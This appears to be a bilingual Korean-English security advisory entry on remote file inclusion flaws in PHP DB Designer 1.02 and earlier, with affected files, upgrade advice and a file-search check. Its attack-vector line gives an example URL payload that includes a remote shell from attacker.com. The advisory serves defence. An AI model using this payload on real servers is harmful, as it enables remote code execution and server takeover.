🇰🇷 한글 설명
PHP DB Designer 1.02 이하 버전에서 _SESSION 변수를 통한 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자가 SITE_PATH 또는 DRIVER 파라미터를 조작하여 원격 PHP 파일을 실행할 수 있으며, 이는 웹서버 전체의 제어권 탈취로 이어집니다.
💡 쉬운 설명
오래된 PHP 데이터베이스 도구에서 공격자가 나쁜 코드를 실행시킬 수 있는 심각한 결함입니다. 웹사이트 접속만으로도 해커가 서버를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in PHP DB Designer 1.02 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the (1) _SESSION[SITE_PATH] parameter to (a) wind/help.php or (b) wind/about.php, or the (2) _SESSION[DRIVER] parameter to (c) db/session.php.
📍 영향받는 시스템
PHP DB Designer 버전 1.02 이하 (wind/help.php, wind/about.php, db/session.php)
⚔️ 공격 벡터
URL 파라미터 조작으로 원격 악성 PHP 파일을 포함시켜 임의 코드 실행 (예: ?_SESSION[SITE_PATH]=http://attacker.com/shell.php?)
🛡️ 대응 방법
즉시 PHP DB Designer를 최신 버전으로 업그레이드하거나 패치 적용, 또는 해당 애플리케이션 제거 및 대체 도구 사용
🔧 검증 코드
결과가 파일을 반환하면 PHP DB Designer가 설치된 것입니다. 설치된 경우 즉시 업그레이드 또는 제거 필요하며, 로그에서 의심 접근 기록 확인
find / -path '*wind/help.php' -o -path '*wind/about.php' -o -path '*db/session.php' 2>/dev/null | head -5